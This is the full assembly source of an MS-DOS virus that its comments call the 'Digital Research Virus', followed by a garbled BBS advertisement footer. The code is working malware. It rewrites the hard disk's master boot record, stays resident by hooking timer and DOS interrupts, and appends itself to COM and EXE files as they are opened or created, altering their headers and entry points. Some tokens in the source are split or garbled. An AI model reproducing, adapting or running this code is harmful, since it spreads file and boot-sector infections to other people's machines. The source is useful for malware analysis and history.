2022-08-21 09:07:57 +00:00
cseg seg ment public 'code'
assume cs : cs eg , ds : cs eg , es : cs eg
;------------------------------------------------------------------------------
; This virus is an com, exe and partitiontable infector. It will become resident
; after the first reboot. The virus is stored above TOM but below 640k.
; When the virus is resident the virus will infect every com and exe-file that
; is created or opend for read and write. The virus doesn't use any stealth
; techniques. The virus doesn't do anything besides replicate. I don't have
; a good name for it, so I named it 'Digital Research Virus'.
;------------------------------------------------------------------------------
SectorCount equ ( CodeEnd - $ + 1ffh ) shr 9 ; Codesize in sectors
MemoryCount equ ( DataEnd - $ + 3ffh ) shr 10 ; Memory needed in kb
;------------------------------------------------------------------------------
; The first part of a com-file is overwritten by the following code
;------------------------------------------------------------------------------
ComCS equ this word + 4
ComEntry:
mov dx , cs
add dx , 100h
push dx
mov dx , offset MainCOM
push dx
retf
dw 0DEADh
EntrySize equ ( $ - ComEntry )
SavedCode equ this word ; orginal com-entry code
OldCSIP equ this dword ; orginal ip,cs,ss and sp
OldIP dw 0
OldCS dw - 10h
OldSS dw 0
OldSP dw 400h
db EntrySize - 8 dup ( 0 )
;------------------------------------------------------------------------------
; The first part of the bootsector is overwritten by the folowing code
;------------------------------------------------------------------------------
BootSector:
cli ; disable interrupts
xor bx , bx ; set ds and ss:sp
mov ds , bx
mov ss , bx
mov sp , 7c00h
sti ; enable interrupts
mov ax , ds :[ 413h ] ; get memorysize
sub ax , MemoryCount ; adjust memory size
mov ds :[ 413h ], ax ; store new memorysize
mov cl , 6 ; calculate segment address
shl ax , cl
mov es , ax
push ax ; store segment and offset
mov ax , offset StartUp ; of startup on stack
push ax
mov ax , 200h + SectorCount ; read the virus from disk
mov cx , 2
mov dx , 80h
int 13h
retf ; jump to startup procedure
BootSize equ ( $ - BootSector )
;------------------------------------------------------------------------------
; startup procedure
;------------------------------------------------------------------------------
StartUp:
cli ; disable interrupts
mov ax , offset Interrupt8 ; save old interrupt 8 vector
xchg ax , ds :[ 20h ] ; and store new vector
mov word ptr es : SavedInt8 [ 0 ], ax
mov ax , cs
xchg ax , ds :[ 22h ]
mov word ptr es : SavedInt8 [ 2 ], ax
mov cs : Count , 182
sti ; enable interrupts
push ds ; es=ds
pop es
mov bx , 7c00h
push es ; store segment and offset of
push bx ; bootsector on stack
mov ax , 201h ; read bootsector from disk
mov cx , 1
mov dx , 80h
int 13h
push cs ; ds=cs
pop ds
mov si , offset OrginalBoot ; restore first part of
mov di , 7c00h ; bootsector
mov cx , BootSize
rep movsb
push es ; ds=es
pop ds
retf ; jump to bootsector
;------------------------------------------------------------------------------
; This interrupt will do nothing until it's called for the 182nd time, at that
; moment 10 seconds have past, and the virus will adjust interrupt vector 13h
; and 21h
;------------------------------------------------------------------------------
Count dw 182
Interrupt8:
cmp cs : Count , 0 ; do nothing if interrupts
jz Old8 ; are adjusted
dec cs : Count ; countdown (10 seconds)
jnz Old8
push ax ; save registers
push ds
xor ax , ax ; ds=0 (Interrupt vectors)
mov ds , ax
mov ax , offset Interrupt21 ; save old interrupt vector 21
xchg ax , ds :[ 84h ] ; and store new vector
mov word ptr cs : SavedInt21 [ 0 ], ax
mov ax , cs
xchg ax , ds :[ 86h ]
mov word ptr cs : SavedInt21 [ 2 ], ax
mov cs : Handle , 0
pop ds ; restore registers
pop ax
Old8: jmp cs : SavedInt8
;------------------------------------------------------------------------------
; This interrupt is installed after 10 seconds, it will then infect every exe
; file that is created or opened to write. It also contains an installation
; check
;------------------------------------------------------------------------------
Interrupt21:
cmp ah , 30h
je Version ; dos version
cmp ah , 3ch
je Open ; create file
cmp ax , 3d02h
je Open ; open for write
cmp ah , 3eh
je Cl ose ; close file
Old21: jmp cs : SavedInt21 ; do orginal interrupt
Open: cmp cs : Handle , 0 ; other exe-file opnened ?
jne Old21 ; yes, can't do anything
call Ch eckExe ; check for .exe extension
jnc ExeFile
call Ch eckCom
jnc ComFile
jmp Old21
ComFile: pushf ; execute orginal interrupt
call cs : SavedInt21
jc Fail ; error opening file
mov cs : Handle , ax ; store handle for infection
mov cs : Infect , offset InfectCOM ; store infect procedure
retf 2
ExeFile: pushf ; execute orginal interrupt
call cs : SavedInt21
jc Fail ; error opening file
mov cs : Handle , ax ; store handle for infection
mov cs : Infect , offset InfectEXE ; store infect procedure
Fail: retf 2
Close: or bx , bx ; handle 0 ?
je Old21 ; do orginal interrupt
cmp bx , cs : Handle ; handle of exe-file ?
jne Old21 ; no, do orginal interrupt
call cs : Infect ; infect file
mov cs : Handle , 0
jmp Old21 ; do orginal interrupt
Version: cmp dx , 0DEADh ; installation check
jne Old21 ; no, do orginal interrupt
mov ax , dx ; ax=dx
iret ; return to caller
Extension db 'EXE' , 'COM'
CheckEXE:
push bx
push es
push cs
pop es
mov bx , offset Extension [ 0 ]
call Ch eck
pop es
pop bx
ret
CheckCOM:
push bx
push es
push cs
pop es
mov bx , offset Extension [ 3 ]
call Ch eck
pop es
pop bx
ret
Check: push ax ; check if extension is .exe
push cx ; save registers
push si
push di
mov al , 0 ; al=0
mov cx , 100h ; max length is 100h characters
mov di , dx ; di=begin of filename
Nxt: jcxz Other ; length > 100h characters,
; must be an other file
inc di
dec cx
cmp byte ptr ds :[ di - 1 ], 0 ; end of filename ?
je Last
cmp byte ptr ds :[ di - 1 ], '.' ; point ?
jne Nxt ; no, next character
mov si , di ; si=di, si=last point
mov al , 1 ; al=1, al=1 if point found
jmp Nxt ; next character
Last: or al , al ; point found ?
je Other ; no, it's not an exe-file
mov di , bx
cld
lodsw ; get 2 bytes after '.'
and ax , 0dfdfh ; uppercase
scasw ; compare
jne Other
lodsb ; get 1 byte
and al , 0dfh ; uppercase
scasb ; compare
jne Other ; no, not an exe-file
clc ; clear carry, exe-file
jmp Done ; return to caller
Other: stc ; set carry, not an exe-file
Done: pop di ; restore registers
pop si
pop cx
pop ax
ret ; return to caller
;------------------------------------------------------------------------------
; this procedure infects an exe-file that is opened and the handle is in bx
;------------------------------------------------------------------------------
InfectEXE:
push ax ; save registers
push bx
push cx
push dx
push ds
push es
push cs ; ds=es=cs
pop ds
push cs
pop es
mov ax , 4200h ; goto top of file
xor cx , cx
xor dx , dx
call DOS
mov ah , 3fh ; read exe-header
mov cx , 1ch
mov dx , offset ExeHeader
call ReadWrite
cmp Ch kSum , 0DEADh
call ReturnEqual
mov Ch kSum , 0DEADh
mov ax , ExeIP ; save orginal ip,cs,ss and sp
mov OldIP , ax
mov ax , ExeCS
mov OldCS , ax
mov ax , ExeSS
mov OldSS , ax
mov ax , ExeSP
mov OldSP , ax
mov ax , PageCount ; calculate new cs and ss
mov dx , PartPage
or dx , dx
jz Zero1
dec ax
Zero1: add dx , 0fh
mov cl , 4
shr dx , cl
inc cl
shl ax , cl
add ax , dx
mov dx , ax
sub dx , HeaderSize
mov ExeCS , dx ; store new cs,ip,ss and sp
mov ExeIP , offset MainEXE
mov ExeSS , dx
mov ExeSP , offset CodeSize + 800h
mov dx , 10h ; calculate offset in file
mul dx
push ax ; save offset
push dx
add ax , offset CodeSize ; calculate new image size
adc dx , 0
mov cx , 200h
div cx
or dx , dx
je Zero2
inc ax
Zero2: mov PageCount , ax
mov PartPage , dx
cmp MinMem , 80h
jae MinOk
mov MinMem , 80h
MinOk: cmp MaxMem , 80h
jae MaxOk
mov MaxMem , 80h
MaxOk: pop cx ; restore offset
pop dx
mov ax , 4200h ; goto found offset
call DOS
mov ah , 40h ; write virus
mov cx , offset CodeSize
xor dx , dx
call ReadWrite
mov ax , 4200h ; goto top of file
xor cx , cx
xor dx , dx
call DOS
mov ah , 40h ; write new exe-header
mov cx , 1ch
mov dx , offset ExeHeader
call DOS
jmp Return
Error: add sp , 2 ; get return address of stack
Return: pop es ; restore registers
pop ds
pop dx
pop cx
pop bx
pop ax
ret ; return to caller
;------------------------------------------------------------------------------
; jumps to error when z-flag is 1
;------------------------------------------------------------------------------
ReturnEqual:
je Error
ret
;------------------------------------------------------------------------------
; this procedure executes the orginal interrupt 21h, if ax is not equal to cx
; an error occured. This procedure is called from InfectEXE and InfectCOM
;------------------------------------------------------------------------------
ReadWrite:
pushf
cli
call cs : SavedInt21
jc Error
cmp ax , cx
jne Error
ret
;------------------------------------------------------------------------------
; this procedure executes the orginal interrupt 21h, and is called from
; InfectEXE and InfectCOM
;------------------------------------------------------------------------------
DOS: pushf ; call orginal interrupt 21h
cli
call cs : SavedInt21
jc Error ; error? yes, jump to error
ret ; return to caller
;------------------------------------------------------------------------------
; this procedure infects an exe-file that is opened and the handle is in bx
;------------------------------------------------------------------------------
InfectCOM:
push ax ; save registers
push bx
push cx
push dx
push ds
push es
push cs ; ds=es=cs
pop ds
push cs
pop es
mov ax , 4200h ; goto top of file
xor cx , cx
xor dx , dx
call DOS
mov ah , 3fh ; read first 3 bytes
mov cx , EntrySize
mov dx , offset SavedCode
call ReadWrite
mov si , offset SavedCode
mov di , offset ComEntry
mov cx , EntrySize
rep cmpsb
je Return
mov ax , 4202h ; goto end of file
xor cx , cx
xor dx , dx
call DOS
or dx , dx
ja Error
cmp ax , 0f000h
ja Error
add ax , 0fh
mov cl , 4 ; prepare the com-entry
shr ax , cl
add ax , 10h
mov ComCS , ax
sub ax , 10h
shl ax , cl ; goto end of file
mov dx , ax
mov ax , 4200h
xor cx , cx
call DOS
mov ah , 40h ; write virus at the and of the
mov cx , offset CodeSize ; com-file
xor dx , dx
call ReadWrite
mov ax , 4200h
xor cx , cx
xor dx , dx
call DOS
mov ah , 40h
mov cx , EntrySize
mov dx , offset ComEntry
call DOS
jmp Return
;------------------------------------------------------------------------------
; This procedure infects the master bootsector of the first harddisk. There are
; no registers saved.
;------------------------------------------------------------------------------
InfectBoot:
mov ah , 30h ; installation check
mov dx , 0DEADh
int 21h
cmp ax , dx
je Infected
push cs ; ds=es=cs
pop ds
push cs
pop es
mov ax , 201h ; read bootsector
mov bx , offset OrginalBoot
mov cx , 1
mov dx , 80h
int 13h
jc Infected
mov si , offset OrginalBoot ; compare bootsector with viral
mov di , offset BootSector ; bootsector
mov cx , BootSize
repe cmpsb
je Infected
mov ax , 300h + SectorCount ; write virus to disk
xor bx , bx
mov cx , 2
mov dx , 80h
int 13h
jc Infected
mov si , offset BootSector ; adjust bootsector
mov di , offset OrginalBoot
mov cx , BootSize
rep movsb
mov ax , 301h ; write bootsector to disk
mov bx , offset OrginalBoot
mov cx , 1
mov dx , 80h
int 13h
Infected:
ret ; return to caller
;------------------------------------------------------------------------------
; this is the main procedure, when starting up from an com-file, it will
; check if the first harddisk is infected, if not it will infect it.
;------------------------------------------------------------------------------
MainCOM: push ds
mov dx , 100h
push dx
push ax
push ds
push es
push cs
pop ds
mov si , offset SavedCode
mov di , dx
mov cx , EntrySize
rep movsb
call InfectBoot
pop es
pop ds
pop ax
retf
;------------------------------------------------------------------------------
; this is the main procedure, when starting up from an exe-file, it will
; check if the first harddisk is infected, if not it will infect it.
;------------------------------------------------------------------------------
MainEXE: push ax ; save registers
push ds
push es
mov ax , ds ; adjust cs and ss
add ax , 10h
add cs : OldCS , ax
add cs : OldSS , ax
call InfectBoot ; infect the bootsector
pop es ; restore registers
pop ds
pop ax
mov ss , cs : OldSS ; set ss:sp
mov sp , cs : OldSP
jmp cs : OldCSIP ; jump to orginal code
CodeSize equ $
;------------------------------------------------------------------------------
; the first part of the orginal bootsector is stored here
;------------------------------------------------------------------------------
Org inalBoot db BootSize dup ( 0 )
CodeEnd equ $
;------------------------------------------------------------------------------
; the variables used by the virus when its resident are stored here
;------------------------------------------------------------------------------
SavedInt8 dd 0 ; orginal interrupt 8
SavedInt21 dd 0 ; orginal interrupt 21
Handle dw 0 ; handle of first exe-file
; opened
Infect dw 0 ; offset infect procedure
Buffer equ this byte
ExeHeader dw 0dh dup ( 0 ) ; exe-header is stored here
Signature equ ExeHeader [ 0 ] ; exe-signature 'MZ'
PartPage equ ExeHeader [ 2 ] ; size of partitial page
PageCount equ ExeHeader [ 4 ] ; number of pages (200h bytes)
HeaderSize equ ExeHeader [ 8 ] ; size of the exe-header
MinMem equ ExeHeader [ 0ah ] ; minimum memory needed
MaxMem equ ExeHeader [ 0ch ] ; maximum memory needed
ExeSS equ ExeHeader [ 0eh ] ; SS
ExeSP equ ExeHeader [ 10h ] ; SP
ChkSum equ ExeHeader [ 12h ] ; checksum, DEAD if infected
ExeIP equ ExeHeader [ 14h ] ; IP
ExeCS equ ExeHeader [ 16h ] ; CS
DataEnd equ $
cseg ends
sseg seg ment stack 'stack'
db 400h dup ( ? )
sseg ends
end MainEXE
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> > and Remember Don't Forget to Call <<3C> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>